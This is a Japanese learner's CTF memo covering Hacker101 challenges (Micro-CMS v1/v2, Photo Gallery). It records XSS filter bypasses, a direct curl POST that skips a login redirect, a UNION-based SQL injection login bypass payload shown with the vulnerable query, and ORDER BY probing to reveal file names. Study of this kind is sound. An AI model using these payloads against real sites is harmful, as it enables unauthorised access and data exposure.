これは?
CTFを解く中であまりにも自分ができなさすぎるので,そもそも当たり前としてどこにも載っていないレベルの常識を書き溜めるモノ.Hacker101の問題を取り上げる
適宜更新していく
micro-cms v1: Easy
解けなかったやつ
- URLに対するSQLi ->
/path/to/10'
- 1時間考えても全く思いつかず
- ただの気づきがないやつ ->
閲覧URLのパーミッション拒否ページを見たあと,その編集ページは開ける
-
/path/to/10
は403だが/path/to/edit/10
は見れてフラグがある - そもそも番号が一部飛んでることに気付けなかったのが問題
-
解けたやつ
-
'javascript'
が消される環境下でのxss- ->
onclick='alert(1)'
,<iframe src='base64encoded alert'>
- とかそこらへんがある!
- ->
micro-cms v2
- こいつには編集と追加のためにログインをしなければいけなくなった
解けたやつ
- エディット画面に行こうとすると,リダイレクトがかかるが,実は直接リクエストを投げるといけちゃう
curl -X POST 'http://url/page/edit/1' -d 'title=1&body=1'
解けなかったやつ
-
ログイン処理にはSQLiがある.
- 試しにユーザの入力欄に
'
を入れるif cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
- こいつが見えるので,適当にUNIONしてみるらしい(こいつができなかった,思いつくやつ天才か?)
- payload ->
' UNION SELECT '123' as password#
- 結果として
SELECT password FROM admins WHERE username='' UNION SELECT '123' as password#
が実行される - こいつで,パスワードに
123
が追加されるため,123を入力しログインをバイパス出来る.
- 試しにユーザの入力欄に
-
ログインパスをリスト型攻撃するらしい
- WriteUp見ても全く意味がわからず????
- 答えを見ても解けていない.
Photo-Gallery: Moderate
思考記録
- url query paramをそのままSQLに組み立てて居るので,SQLiが可能である.
-
?id=1
が正常にレスポンスし,?id=1 union select 2;--
も正常であったため,SQLiが可能と判断 -
?id=1 union select 1 order by filename desc;--
が正常だった-
filename
というカラムがある. -
asc
指定でソートするとエラーが出る.- すなわち,以下のような処理フローで画像を返すAPIを実装していると想定
-
id = url.param["id"]
↓
filenames = sql.exec("SELECT filename from table_name where id = ${id}")
↓
imgname = filenames[0]
↓
data = readFile(imgname)
↓
response.body(data)
* order句により,辞書順にソートされるため逐次チェックすると,ファイル名がわかる.
* `"files/adorable.jpg"` `"files/purrfect.jpg"`というファイル名だった
* →で?